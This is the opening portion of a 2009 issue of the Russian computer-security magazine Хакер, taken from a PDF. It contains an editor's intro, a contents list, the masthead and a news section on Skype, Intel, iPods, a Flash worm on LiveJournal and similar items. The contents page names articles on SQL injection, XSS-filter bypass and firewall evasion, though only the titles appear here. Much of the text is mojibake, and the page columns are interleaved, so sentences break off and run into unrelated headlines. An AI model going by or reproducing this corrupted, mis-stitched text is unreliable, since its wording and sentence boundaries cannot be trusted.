Вы находитесь на странице: 1из 148

Ñæëìáíá

INTRO
×àñòî ïîëó÷àþ êîììåíòàðèè î òîì, áóäòî íàø æóðíàë äîðîãî ñòîèò. È âîò ÷òî õî÷ó ñêàçàòü:
ðåáÿòà, íó ó íàñ æå íå ãàçåòà «Íîâîñòè ïîäìîñêîâüÿ», äà è ìû íå ìåöåíàòû :). Íàø æóðíàë ñòîèò ðîâíî ñòîëü-
êî, ñêîëüêî îí ñòîèò, è ìû çíàåì åìó öåíó.
Ýòî öåíà áîëüøîé ðàáîòû, êîòîðóþ äåñÿòêè ëþäåé ïðîäåëûâàþò êàæäûé ìåñÿö, ïî êðóïèöàì ñîáèðàÿ Õ è äå-
ëàÿ åãî òàêèì, êàêîé îí åñòü. Òðè äåñÿòêà êëàññíûõ ñòàòåé, 8.5 Ãá ñîôòà íà äèñêå, 144 ïîëîñû íîâîãî êîíòåíòà,
êó÷à èññëåäîâàòåëüñêîé ðàáîòû, âçëîìîâ è ïåí-òåñòîâ. Çíàþ òî÷íî, ÷òî, ïðè ïðàâèëüíîì èñïîëüçîâàíèè,
Õàêåð äàåò î÷åíü ìíîãî íîâûõ çíàíèé, êîòîðûå ñòîÿò ÿâíî äîðîæå öåíû æóðíàëà.

P.S. Ðàç óæ ïîäíÿë ýòó òåìó, õî÷ó íàïîìíèòü íà âñÿêèé ñëó÷àé îá îòëè÷íîì ñïîñîáå ïîëó÷àòü æóðíàë ïî ôèê-
ñèðîâàííîé öåíå è äàæå ñî ñêèäêîé: ðåäàêöèîííàÿ ïîäïèñêà. Òåïåðü åå ìîæíî áûñòðî îôîðìèòü â ëþáîì
òåðìèíàëå QIWI, ïîñëå ÷åãî òû íà÷íåøü ïîëó÷àòü æóðíàë êóðüåðîì, åñëè æèâåøü â Ìîñêâå è áàíäåðîëüþ, –
åñëè íå â Ìîñêâå.

ÏÐÈßÒÍÎÃÎ ×ÒÅÍÈß!

nikitozz, ãë. ðåä. Õ


www.ring0cup.ru – íîâûå õàê-êâåñòû êàæäûé ìåñÿö!
004 MegaNews Ñöåíà
Все новое за последний месяц 084 CHAOS CONSTRUCTIONS 09
О том, как прошел знаменитый фест в этом году
Ferrum
016 ÌÀÒÜ ÂÀØÀ! Þíèêñîéä
Тестирование системной платы ASUS P7P55D Deluxe 090 ТАНЦЫ С БУБНОМ И НАПИЛЬНИКОМ
018 ÒÅÑÒ SSD Все, что ты хотел знать о сборке из исходников
Тестирование твердотельных накопителей 094 СОБЕРИ В ДОРОГУ ТУКСА
024 ASUS U80V Как выжать максимум из Linux на нетбуке
Компактный и производительный 098 РОЖДЕННЫЕ МУЛЬТИМЕДИА
ноутбук для работы РЕВОЛЮЦИЕЙ
Обзор мультимедийных дистрибутивов Linux

PC_ZONE Êîäèíã
026 ВКЛЮЧАЕМ TOR НА ВСЮ КАТУШКУ 102 WEB ЧЕРЕЗ ZOPE
Заставляем анонимную сеть Обзор питоновского web-фреймворка Zope
работать на наши хакерские цели 106 ГУГЛОСЕРВИСЫ ДЛЯ ХАКЕРА
034 ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ПРОТИВ Овладеваем сервисами
ВИРУСОВ мегакорпорации с помощью Python’a
На что способен Norton Internet Security?
038 ЛУЧШИЕ ИНСТРУМЕНТЫ ПЕНТЕСТЕРА SYN/ACK
Тема — отладчики и дизассемблеры 110 СЕТЕВАЯ РАССАДА
Microsoft Deployment Toolkit 2010: решение
Âçëîì для организации простого развертывания
042 EASY-HACK Windows-систем и приложений
Хакерские секреты простых вещей 115 СРАЖЕНИЕ НА ТРЕХ ФРОНТАХ
046 ОБЗОР ЭКСПЛОИТОВ Защищаем популярные
Разбираем свежие уязвимости сервисы платформы Microsoft
052 BACKSTREET'S BACK! 120 ВОЗДВИГНЕМ NAS НА РАЗ!
Тотальное уничтожение группы Backstreet Boys Создаем мультипротокольный
056 ГОРЯЩИЕ СТЕНЫ ЗАЩИТЫ NAS из старого компа
Файрвол для веб-приложений: 126 IN DA FOCUS
способы обнаружения и обхода Обзор серверных железок
062 СКАЗКИ XSSАХИРИЗАДЫ 128 ПОД ПРЕССОМ IT-РИСКОВ
1000 и 1 способ обойти XSS-фильтр Обзор Open Source систем
067 X-CONTEST управления уязвимостями
Хак-квест от редакции
068 ЭНЦИКЛОПЕДИЯ АНТИОТЛАДОЧНЫХ Þíèòû
ПРИЕМОВ 134 PSYCHO:
Реверсерские трюки и фишки ТАЙНЫЕ ВРАТА В ЦАРСТВО МОРФЕЯ
072 ТРОЯНСКАЯ БИТВА Теория и практика осознанных сновидений
Объявляем войну обфусцированным лоадерам 140 FAQ UNITED
076 УКОЛ СЛОНУ Большой FAQ
Руководство по реализации 143 ДИСКО
SQL-Injection в PostgreSQL 8.5 Гб всякой всячины
082 X-TOOLS 144 WWW2
Программы для взлома Удобные web-сервисы
034
ïîëüçîâàòåëü

èíòåðíåò
056 âåá-ñåðâåð

Web Application Firewall

àòàêóþùèé

052

110 ADMIN ADMIN

/ÐÅÄÀÊÖÈЯ >Редактор Unix-раздела >Директор группы GAMES & DIGITAL > Ãîðячая ëèíèя ïî ïîäïèñêå
>Ãëàâíûé ðåäàêòîð Антон «Ant» Жуков Евгения Горячева (goryacheva@gameland.ru) òåë.: 8 (800) 200.3.999
Íèêèòà «nikitozz» Êèñëèöèí >Монтаж видео >Менеджеры Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè
(nikitoz@real.xakep.ru) Максим Трубицын Ольга Емельянцева > Äëя писем
>Âûïóñêàþùèé ðåäàêòîð Мария Нестерова 101000, Ìîñêâà,
Николай«gorl»Андреев /PUBLISHING Мария Николаенко Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
(gorlum@real.xakep.ru) Максим Соболев Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
Надежда Гончарова Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,
>Ó÷ðåäèòåëü Наталья Мистюкова
>Ðåäàêòîðû ðóáðèê ÎÎÎ «Ãåéì Ëýíä» òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ
ÂÇËÎÌ >Администратор êîììóíèêàöèé ÏÈ ß 77-11802 îò 14
119021, Москва, ул. Тимура Фрунзе, Мария Бушева
Дмитрий«Forb» Докучаев д. 11, стр. 44-45 ôåâðàëÿ 2002 ã.
(forb@real.xakep.ru) >Работа с рекламными агентствами Îòïå÷àòàíî â òèïîãðàôèè
Тел.: +7 (495) 935-7034 Лидия Стрекнева (strekneva@gameland.ru)
PC_ZONE и UNITS Факс: +7 (495) 780-8824 «Lietuvas Rivas», Литва.
Степан «step» Ильин >Старший менеджер Òèðàæ 100 000 ýêçåìïëÿðîâ.
>Генеральный дèðåêòîð Светлана Пинчук
(step@real.xakep.ru) Äìèòðèé Àãàðóíîâ Öåíà äîãîâîðíàÿ.
UNIXOID, SYN\ACK и PSYCHO >Старший трафик-менеджер
>Óïðàâëÿþùèé äèðåêòîð Марья Алексеева
Àíäðåé «Andrushock» Ìàòâååâ Äàâèä Øîñòàê Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
(andrushock@real.xakep.ru) >Äèðåêòîð ïî ðàçâèòèþ ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ
ÊÎÄÈÍÃ Ïàøà Ðîìàíîâñêèé óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå
Александр «Dr. Klouniz» Лозовский /ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê
>Äèðåêòîð ïî ïåðñîíàëó >Äèðåêòîð îòäåëà
(alexander@real.xakep.ru) Татьяна Гудебская ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå
>Ëèòåðàòóðíûй ðåäàêòîð äèñòðèáóöèè äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ
>Ôèíàíñîâûé äèðåêòîð Àíäðåé Ñòåïàíîâ
Дмитрий Лященко Анастасия Леонова öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê
(lyashchenko@gameland.ru) (andrey@gameland.ru) îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ
>Редакционный директор >Руководитель московского
Дмитрий Ладыженский îòâåòñòâåííîñòè íå íåñåò.
/ART >PR-менеджер
направления
>Àðò-äèðåêòîð Ольга Девальд Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà
Наталья Литвиновская (devald@gameland.ru)
Евгений Новиков >Директор по маркетингу ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â
(novikov.e@gameland.ru) >Руководитель регионального íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ
Дмитрий Плющев направления
>Верстальщик >Главный дизайнер áåç ñïðîñà — ïðåñëåäóåì.
Вера Светлых Òàòüÿíà Êîøåëåâà
Энди Тернбулл (kosheleva@gameland.ru )
(svetlyh@gameland.ru) >Директор по производству По вопросам лицензирования и получения
>Руководитель отдела подписки прав на использование редакционных ма-
Сергей Кучерявый
/DVD Марина Гончарова териалов журнала обращайтесь по адресу:
>Выпускающий редактор (goncharova@gameland.ru) content@gameland.ru
Степан «Step» Ильин òåë.: (495) 935.70.34
/ÐÅÊËÀÌÀ ôàêñ: (495) 780.88.24
(step@real.xakep.ru) / Тел.: (495) 935-7034, факс: (495) 780-8824 © ÎÎÎ «Ãåéì Ëýíä», РФ, 2009
MEGANEWS МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU

MEGANEWS
ОБО ВСЕМ ЗА ПОСЛЕДНИЙ МЕСЯЦ

ÌÛ ÄÅËÈËÈ ÀÏÅËÜÑÈÍ
Мы уже писали о том, что создатели Skype Никлас Зеннстрем и
Янус Фриис пытаются вернуть свое детище обратно, хотя сами же
продали Skype компании eBay за 3.1 миллиарда долларов четыре
года назад. Но тогда предприимчивые шведские бизнесмены со-
хранили на руках патенты на технологию Joltid, на основе которой
и работает Skype. В итоге, eBay использовал Joltid по лицензии,
которую Зеннестрем и Фриис, согласно своему коварному плану,
отозвали в судебном порядке несколько месяцев назад. После
было сделано предложение о выкупе Skype. Однако eBay не по-
шел по поводу у шантажистов и вместо этого, продал Skype группе
частных инвесторов. Теперь 65% акций Skype принадлежит им,
а оставшиеся 35% по-прежнему являются собственностью eBay.
Зеннестрем и Фриис, рассчитывавшие на «капитуляцию против-
ника», а точнее ожидавшие, что после аннулирования лицензии,
они смогут выкупить Skype обратно по бросовой цене, незамед-
лительно подали в суд, обвиняя eBay в нарушении патентов. В
eBay же до сих пор делают хорошую мину при плохой игре и не

ÓÌÍÛÅ ÍÀÓØÍÈÊÈ собираются уступать, даже грозясь переписать все с нуля, дабы
не нарушать ничьих авторских прав. Слушания по этому запутан-
ному делу начнутся не ранее 2010 года.
Отличную разработку предста- реагирует на движение, то есть,
вила компания Sony Ericsson: имеет жестовую систему управ-
гарнитура Sony Ericsson MH907 ления. Чтобы включить музыку,
— это первый в мире хэдсет, достаточно вставить в уши оба

 2010 ÃÎÄÓ ÏÎßÂßÒÑß ÄÂÀ ÍÎÂÛÕ


который сам в состоянии опре- наушника, чтобы выключить
делить, когда нужно включить — вытащить оба наушника из
или остановить музыку, а когда ушей, а чтобы переключиться в
нужно переключиться в режим режим гарнитуры или поставить ÄÎÌÅÍÀ — .VIP È .ECO.
разговора. А все гениальное, как на паузу — вынуть, или наобо-
всегда, просто — модель MH907 рот, вставить в ухо только один
наушник. Выпустят чудо-гарни-
туру в двух цветовых вариантах
— желто-белый и хромированный
титан, длина провода составит ÄÅÍÜ ÏÐÎÃÐÀÌÌÈÑÒÀ
164 см, вес — 25.32 грамма. Цена
новинки будет равна примерно
39 евро. Работать гарнитура,
ÑÒÀË ÎÔÈÖÈÀËÜÍÛÌ
понятное дело, будет с девайсами Итак, случилось долгожданное — президент РФ Дмитрий Медведев
Sony Ericsson, оснащенными утвердил указ о признании каждого 256 дня года официальным праздни-
разъемом «Fast port». ком — Днем программиста. В обычные годы эта дата будет попадать на
13-е сентября, а в високосные, соответственно, на 12-е. Само число 256,
конечно, было выбрано неслучайно, в Минкомсвязи говорят, что сочли
два в восьмой степени «самым программистским вариантом» :). Что здесь
еще добавить? С прошедшим!

ÍÀØ ÖÅÍÒÐ ÈÇÓ×ÅÍÈß ÎÁÙÅÑÒÂÅÍÍÎÃÎ ÌÍÅÍÈß ÓÒÂÅÐÆÄÀÅÒ, ×ÒÎ Ê ÈÍÅÒÓ


 ÐÎÑÑÈÈ ÏÎÄÊËÞ×ÅÍ ÊÀÆÄÛÉ 3-ÈÉ (32% ÂÑÅÕ ÆÈÒÅËÅÉ ÑÒÐÀÍÛ).
004 XÀÊÅÐ 10 /130/ 09
Ðåêëàìà
MEGANEWS

PC27

ÍÅ ÓÑÏÅÂÀÅØÜ
ÄÎÑÌÎÒÐÅÒÜ?
ÏÐÎÄÎËÆÈ ÏÎÒÎÌ
На YouTube появилась новая фишка, которая сильно
облегчит жизнь всем, кто любит смотреть длинные ролики
и не возражает против просмотра фильмов в онлайне.
Теперь если ты неожиданно прерываешь просмотр ролика
(например, случайно закрыв окно) YouTube запоминает, что
ты смотрел и на каком моменте остановился, и при следую-
щем визите, ты продолжишь с того же места. Работает это
правило для роликов длиной не менее 20 минут, а во-из-
бежании ложных срабатываний ты должен посмотреть не
меньше минуты видео, а до конца должно оставаться не ÒÅÑÒÛ ÆÓÐÍÀËÀ COMPUTERWORLD ÏÎÊÀÇÀËÈ,
×ÒÎ GOOGLE CHROME 3.0 Â 2.5 ÐÀÇÀ
менее трех минут. Учитывая, что YouTube вовсю работает
над подписанием договоров с крупными игроками кино- и

ÁÛÑÒÐÅÅ FIREFOX, Â 5 ÐÀÇ ÁÛÑÒÐÅÅ OPERA 10


теле-индустрии, и на сайте скоро появится немало филь-
мов, сериалов и шоу, просмотр которых, скорее всего, будет

È Â 9 ÐÀÇ ÁÛÑÒÐÅÅ IE8.


платным, можно сказать, что эта функция еще и неплохой
задел на будущее.

ÇÀÐÀÁÎÒÎÊ Â ÁËÎÃÅ
Новый совместный проект Google и LiveJournal предлагает юзерам, у
которых есть платный аккаунт в ЖЖ, зарабатывать на своем блоге деньги.
Система «Твой журнал — твои деньги» (Your Journal — Your Money) проста,
и потребует только наличия платного аккаунта в ЖЖ и аккаунта Google
AdSense. В профиле LJ появилась новая вкладка «Моя реклама», где
можно выбрать формат рекламы (текстовая или баннерная) и место ее
расположения в журнале. Ну а дальше полагается расслабиться и пожи-
нать плоды кликов. Кстати, интересно — платные пользователи рекламу
по-прежнему видеть не будут, и эту тоже, если только не решат посмотреть
на нее добровольно. Все вырученные от показов AdSense деньги пойдут
владельцу журнала (за вычетом доли Google). Идея неплоха, спору нет,
только вот большинство пользователей в лучшем случае смогут заработать
себе на оплату аккаунта, чего нельзя сказать о Google и LiveJournal :).

ÂÑÅËÅÍÑÊÈÉ ÇÀÃÎÂÎÐ ÏÐÎÒÈÂ AMD


Если ты хоть немного следишь за тем, что происходит в мире, то наверняка знаешь,
что компания Intel не так давно была приговорена к штрафу в размере более мил-
лиарда евро за нечестную конкуренцию. А все из-за того, что Еврокомиссии удалось
выяснить, что Intel предоставляла своим вендорам разнообразные бонусы, скидки
и другие «интересные условия», если те взамен соглашались прекратить закупки
товара у AMD вообще, или сократить их до 5% от ассортимента. Intel в ответ, разуме-
ется, подали апелляцию в Европейский суд, а также, очевидно, испугавшись за свою
репутацию, раздули в прессе немалую шумиху, заявляя, что ничего подобного никогда
не было, а решение Еврокомиссии несправедливо. Так как скандал получился пуб-
личным, Еврокомиссии не осталось ничего иного, как раскрыть карты и предоставить
публике факты. В итоге на свет появился пресс-релиз, содержащий фрагменты пере-
писки высокопоставленных сотрудников таких компаний как HP, Dell, NEC, MSH и т.д.
Речь во всех приведенных письмах идет о различных «негласных договоренностях»
с компанией Intel. Самым что ни на есть открытым текстом. Если возражения у Intel
найдутся и на это (а они, скорее всего, найдутся), то звучать они теперь будут крайне
неубедительно.

006 XÀÊÅÐ 10 /130/ 09


MEGANEWS

PC27 J3

ÏÈÐÀÒÑÊÈÅ ÊÈÎÑÊÈ — ÍÀËÅÒÀÉ!


Очень оригинальную штуку придумали чуваки
из Германии, поддерживающие The Pirate Bay.
Узнав о грядущей продаже трекера, а также не
сильно вдохновившись решением суда, кото-
рый недавно признал команду TPB виновной,
ребята слили с «Бухты» всю базу (только тор-
рент-файлы, само собой, кроме них на самом
TPB ничего и нет) и открыли Пиратский киоск
— Kiosk of Piracy. Глухая будка, обклеенная
kopimi стикерами и фольгой, является точкой
доступа к локальной Wi-Fi сети и лишена
доступа в интернет. Внутри локалки поднят
сайт kioskofpiracy.org (точная его копия доступ-
на и в онлайне), трекер и открыта возможность
заливать свои файлы. Таким образом, придя к
киоску с ноутбуком можно слить оттуда любой
торрент-файл, а потом, выйдя в сеть, скачать
все, что нужно. Организаторы киоска говорят,
что хотели показать — даже если борцы с
пиратством закроют трекеры, закроют файло-
обменники и «все интернеты» в целом, это все
равно не убьет файлообмен, потому что есть
другие пути. Например, такой киоск никто не
отключит от интернета, потому что его здесь ÊÎÌÏÀÍÈß OPERA SOFTWARE ÂÛÏÓÑÒÈËÀ
ÔÈÍÀËÜÍÓÞ ÂÅÐÑÈÞ ÁÐÀÓÇÅÐÀ OPERA 10, ×ÅÉ
просто нет, нет никаких провайдеров, хостеров
и других посредников. Цитируя сайт проекта:

ÄÂÈÆÎÊ ÍÀ 40% ÁÛÑÒÐÅÅ OPERA 9.6.


«Нам не нужен интернет — «чудеса» могут
происходить где угодно». Также организаторы
Пиратского киоска надеются, что противники
копирайта по всему миру поддержат их начи-
нание и откроют аналогичные точки в самых
разных городах и странах. IPOD’Û ÑÍÎÂÀ
ÎÁÍÎÂÈËÈÑÜ
Компания Apple, как и ожидалось, представила AAC), шагомер, FM-радио с функциями живой
 MCAFEE обновленные линейки своих плееров iPod. паузы, а также диктофон и поддержка управ-
Наиболее сильным изменениям подвергся iPod ления голосом VoiceOver. Плюс немного «под-
ÏÐÅÄÓÏÐÅÆÄÀÞÒ — ÇÀ nano: в него добавилась камера с возможностью рос» размер экрана (до 2.2" дюйма). Интерес-
съемки видео и микрофон (разрешение видео но, что невзирая на наличие камеры, делать
ÏÎÑËÅÄÍÈÉ ÃÎÄ ÑÎÔÒÀ 640х480, кодек H.264, запись звука в формате фото iPod nano не умеет. Остальные плеера
столь радикальных перемен не понесли. В
ÊÐÀÄÓÙÅÃÎ ÏÀÐÎËÈ È единственную линейку плееров с жестким
диском — iPod classic — вернулась модель на
ÐÅÊÂÈÇÈÒÛ ÑÒÀËÎ ÍÀ 160 Гб. iPod shuffle теперь совместим с боль-

400% ÁÎËÜØÅ. шим количеством наушников (напомним, что


все кнопки управления находятся не на корпусе
shuffle, а вынесены на пульт наушников Apple
Earphones или In-ear Headphones) — на рынке
вскоре появятся предложения от Sony, V-MODA,
Klipsch и Scosche. iPod touch в свою очередь
стал быстрее, но в отличие от Nano не получил
камеры. Стив Джобс объясняет это тем, что
камера просто не влезла в стоимость, так как в
Apple сделали ставку на «удешевление» iPod
touch. Согласно опять-таки словам Джобса,
touch для пользователей, это в первую очередь
— кратчайшая дорога в AppStore и отличная
игровая приставка, а камера это уже излишест-
во и ненужные переплаты. Объяснение, мягко
говоря, странное, но факт остается фактом —
камеры в iPod touch нет.

008 XÀÊÅÐ 10 /130/ 09


ПО ПРАВДЕ ГОВОРЯ, ХВАЛИТЬ на Visual Studio 2008, причем в вести разработку именно для существующую клиентскую базу.
ТОГО, КОГО ТАК ДОЛГО РУГАЛ, Professional Edition, верстальщик платформы .NET – Expression Более того, на ресурсе «Галереи
КРАЙНЕ НЕПРИВЫЧНО. Но то, и дизайнер сможет использовать в любом случае подойдет для веб-приложений» можно размес-
насколько умело Microsoft пытает- полноценную Expression Studio (1 дизайнеров и верстальщиков, тить собственные разработки,
ся сблизиться с гиками и вообще лицензия) или же Expression Web независимо от того, на какой тех- к которым будут иметь доступ
всем IT-сообществом, заслужива- (2 лицензии). Независимо от того, нологии будет построена логика тысячи разработчиков и заказчи-
ет всяческих похвал. Вчера - это собираешься ли ты сам хостить приложения. А все серверные ков, желающих выбрать готовые
и переведенная на русский язык сайты-проекты или же просто компоненты отлично справятся веб-приложения и решения.
библиотека MSDN (сколько в это иметь площадку для тестирова- с хостингом приложений, напи-
было вбухано денег, никто даже не ния, ты в любом случае получа- санных на том же PHP. Тем более, ÏÎ×ÅÌÓ
заикается) и бесплатные версии ешь лицензионные Windows Web в твоем распоряжении будет ÁÅÑÏËÀÒÍÎ?
Visusal Studio для студентов и Server 2008 и SQL Server 2008 панель управления DotNetPanel Как и любой пользователь ли-
начинающих команд разработ- Web. Но если веб-разработчик для эффективного управления цензионного ПО, ты получаешь
чиков (я сам лично не поленился серьезно планирует заниматься параметрами размещения веб- профессиональную поддержку,
отправить скан студенческого, размещением веб-сайтов, то ему сайтов. в том числе два обращения в
чтобы получить полную «студию»). будет предоставлено по четыре службу технической подде-
И вот теперь новое классное пред- ржки для устранения проблем
ложение - Microsoft предостав- технического характера. Помимо
ляет все, что может понадобиться этого – неограниченный доступ к
небольшой веб-студии. Практи- управляемым группам новостей
чески бесплатно. на сайте MSDN и неограниченная
Принять участие в программе поддержка в решении вопро-
WebsiteSpark (www.microsoft. сов нетехнического характера.
com/rus/web/) может любая студия В обычных условиях все это
веб-разработчиков, если общее бы стоило немало. В случае с
число работников к компании не WebsiteSpark никто не будет
превышает десяти человек. В Рос- брать с тебя денег за присоедине-
сии под этот критерий, вероятно, ние к программе и использование
попадает большинство подобных рабочие лицензии «на процес- ее преимуществ. Единственный
компаний. В общем, даже в том сор». ÂÎÇÌÎÆÍÎÑÒÜ финансовый нюанс заключается
случае, если в компании числится Как тебе? Едва взявшись с при- ÇÀÑÂÅÒÈÒÜÑß в том, что в случае прекращении
один единственный человек, и ятелем за разработку веб-при- Большая проблема начинающей участия в программе будет необ-
этот человек - ты, ничто тебе не ложений, ты сможешь позволить студии - заявить о себе, засве- ходимо уплатить символический
помешает также подписаться на себе полную Visual Studio. В титься перед потенциальным взнос в размере 100 долл. США.
эту программу. Почему нет? случае с бесплатной Express заказчиками и доказать, что спо- Причины подобной щедрости
Edition пришлось бы мириться с собна выполнять самые сложные со стороны Microsoft вполне
ÌÎÙÍÛÉ отсутствием unit-тестов и слабой задания. В рамках программы понятны: это инвестиции в буду-
ÍÀÁÎÐ ÑÐÅÄÑÒÂ поддержкой совместной работы. запущен сайт WebsiteSpark щее. Сегодня тысячи маленьких
Бонусы от участия в студии ты по- Тут же ты сразу получаешь пакет Marketplace, где разработчик компаний получат бесплатный
лучаешь сразу в виде набора инс- из полноценных инструментов, может дать информацию о себе софт и смогут построить бизнес на
трументов для проектирования и которые могут понабиться для ра- и получить реальный шанс быть основе технологий MS, а завтра
разработки приложений, а также боты программистов, дизайнеров найденным заказчиками. Это станут крупными фирмами и будут
софта для организации хостинга. и администраторов. По правде реальная возможность получить работать с Microsoft уже в роли
Твои кодеры получат 3 лицензии говоря, тебя никто не обязывает первичную или расширить уже бизнес-партнеров.

XÀÊÅÐ 10 /130/ 09 009


MEGANEWS

ÐÎÑÑÈÉÑÊÈÅ ÊÎÏÈÐÀÑÒÛ
ÀÒÀÊÓÞÒ
Наши защитники авторских прав, похоже, решили перещеголять запад-
ных коллег — те пока не дошли до обращений к интернет-поисковикам,
с требованиями убрать «криминальные» ссылки из результатов поиска.
А вот российская ассоциация DVD-издателей, занимающаяся распро-
странением через сеть цифровых копий фильмов, направила письма
в Google, «Яндекс», Rambler и Mail.ru. Для придания требованиям
серьезности, в ход, как обычно, пошли цифры, дескать, из-за файлооб-
мена компании теряют 15% дохода от продаж и порядка 10% процентов
прибыли от кинопроката. Тем не менее, в русском Google ассоциацию
DVD-издателей вежливо переадресовали в головной офис, назвав то,
что они предлагают, «цензурированием», а в «Рамблере» откомменти-
ровали, что поисковики не проверяют лицензии у сайтов, а лишь выдают
объективную картину.

HD-ÏËÅÅÐ ÓÍÈÂÅÐÑÀË
Компания Compro Technology поведала о
выпуске на российский рынок нового HD-пле-
ера «VideoMate Network Media Centre 1000W»,
который способен заменить собой целый ряд
устройств, став медийным центром дома. Плеер
может похвастаться поддержкой формата H.264
и разрешения вплоть до 1080p (Full HD), умеет
воспроизводить видео с HD-камер формата
AVCHD без предварительной конвертации,
а также имеет SATA-интерфейс, так что для
хранения данных можно использовать и HDD.
Помимо перечисленного, выполненный в
изящном серебристом корпусе девайс умеет
подключаться к интернету посредством LAN
или беспроводных сетей 802.11g, и может даже
исполнять обязанности BitTorrent-клиента. Как
нетрудно догадаться, с хранением и воспроиз-
ведением фильмов, музыки, фотографий и дру-
гого медиа-контента у 1000W нет никаких
проблем, плеер справляется с этим
на ура. Еще одним приятным
бонусом стало пассивное
охлаждение, и как следствие
— совершенно бесшум-
ная работа устройства.
Здесь стоит заметить, что,
благодаря хитрой системе
циркуляции воздуха, плеер
не перегревается даже при
длительной работе.

010 XÀÊÅÐ 10 /130/ 09


ÏÎ×ÓÂÑÒÂÓÉ ÑÅÁß
ÁÎËÜØÈÌ ÁÐÀÒÎÌ

Первый в рунете ресурс персонального телевидения,


позволяющий любому желающему бесплатно открыть свой
собственный телеканал ЯTV (yatv.ru), представил оригиналь-
ный проект — первый в мире онлайн-реалити-квест «Это
Я!», который запустился в октябре по адресу http://etoya.tv.
Главный герой Кирилл — 20-летний мастер боевых искусств,
любитель острых ощущений и, конечно же, девушек — всегда
находится в прямом эфире. Он живет не в студии, а в обычной
московской квартире, и всегда находится в онлайне, не важ-
но, спит он, гуляет по парку или занят чем-то еще. Для этого
на его бейсболке закреплена веб-камера, еще одна находится
в руках или где-то поблизости, а у него за спиной, в рюкзаке,
включенный ноутбук. Кирилл утверждает, что на все это его
подвигла некая организация, которая обещает исполнить
его саму искреннюю мечту. Но для начала Кириллу придется
выполнить множество самых разных заданий организации, в
числе которых обезвреживание бомбы, роупджампинг, разга-
дывание головоломок и так далее. Никакого монтажа, дублей,
и отрепетированных реплик — герой не знает, что вокруг него
инсценировка, а что нет. Наблюдать за всем этим ты можешь в
самом что ни есть прямом эфире, а главное, ты можешь влиять
на происходящие события при помощи SMS, чата или даже
личной встречи с героем.

17% ÎÒ ÂÑÅÃÎ ÂÐÅÌÅÍÈ,


ÏÐÎÂÎÄÈÌÎÃÎ Â ÈÍÒÅÐÍÅÒÅ,
ÀÌÅÐÈÊÀÍÖÛ ÓÄÅËßÞÒ ÁËÎÃÀÌ È
ÑÎÖÈÀËÜÍÛÌ ÑÅÒßÌ.

XÀÊÅÐ 10 /130/ 09 11
MEGANEWS

ÂÈÐÓÑÛ
 ÑÎÖÈÀËÜÍÛÕ ÑÅÒßÕ
Новая зараза дала знать о себе, распространившись в «Живом журнале»
(ЖЖ). Малварь был написан на Flash и прятался в постах, сопровождае-
мых видео-контентом. Если залогиненый в LJ пользователь натыкался на
зараженный таким постом журнал, его собственный блог тоже инфициро-
вался через кросс-доменный запрос на Livejournal.com. Вирь сбрасывал
настройки последних записей в журнале на настройки по умолчанию (за-
писи становились публичными и сопровождались дефолтным юзерпиком),
вывешивал новую запись, содержащую Flash-заразу, а также e-mail адрес
хозяина ЖЖ отправлялся прямиком к авторам вируса. Несмотря на это, в
Sup Fabric утверждают, что случаев кражи паролей не было. Впрочем, воз-
можно до этого просто не успело дойти — пострадать успело всего порядка
100 человек. Получив жалобы от юзеров, в SUP быстро прикрыли доступ
ко всему видео-контенту вообще, и, лишь устранив уязвимость, «вернули

ÁÎÉÒÅÑÜ ÍÅÇÍÀÊÎÌÛÕ видео» пользователям. С похожими способами распространения вирусов


уже сталкивались социальные сети «Одноклассники» и «ВКонтакте», и

E-MAIL’ÎÂ нужно отдать должное Sup — другие компании реагировали на проделки


вирусмейкеров не так оперативно.

Оригинальный прецедент создал суд США, когда обязал


компанию Google предоставить личные данные и деактиви-
ровать аккаунт пользователя, к которому случайно попали
секретные банковские данные. Все началось с того, что
один из сотрудников банка Rocky Mountain случайно отпра-
вил мэйл, содержащий конфиденциальные данные о 1325
юридических и физических лицах на неправильный адрес.
Проштрафившийся сотрудник сообщил о случившемся, и
Rocky Mountain попытались отозвать письмо, обратившись
в Google с просьбой его удалить, но получили отказ. Тогда
банк подал на Google в суд, требуя предоставить данные о
пользователе, к которому «якобы случайно» утекла инфор-
мация. В итоге, федеральный судья постановил, что Google
обязан не только предоставить личные данные о юзере
(который, кстати, до сих пор не объявился, хотя ему писали),
но и деактивировать его акк. Конечно, утечка могла быть не
такой уж и «случайной», и с этих позиций действия банка
вполне понятны, но с другой стороны — а если действи-
тельно пострадал невиновный? Потеря e-mail аккаунта со
всей информацией в наши дни не самая приятная штука, не
говоря уже об «осадке», которой тоже наверняка останется,
когда к чуваку ворвутся с обыском, или скрутят его где-ни-
будь на улице. Да и вообще получается, что если тебе на
голову свалится мэйл с какой-то секретной информацией,
то пострадать от этого можешь ты, а не отправивший его
человек. Оригинально, что и говорить.

ÈÃÐÎÄÅËÛ Все более интересные новости поступают из стана разработки Project Natal. Мы

ÏÎÄÊËÞ×ÈËÈÑÜ уже не раз писали об этой инновационной технологии Microsoft, благодаря которой
играть и управлять медиа-контентом станет возможно безо всяких манипуляторов.

Ê PROJECT NATAL Все что тебе потребуется с Project Natal — твое собственное тело (не считая, конечно,
сенсора для XBox 360, для которой Natal разрабатывается). Хочешь — листай меню
взмахом руки, хочешь — скачи, как сумасшедший, «катаясь на скейте», «играй в
футбол», «рули» и так далее. Любые движения, распознавание мимики, практически
любые симуляторы, что могут придти в голову, полный интерактив с виртуальным
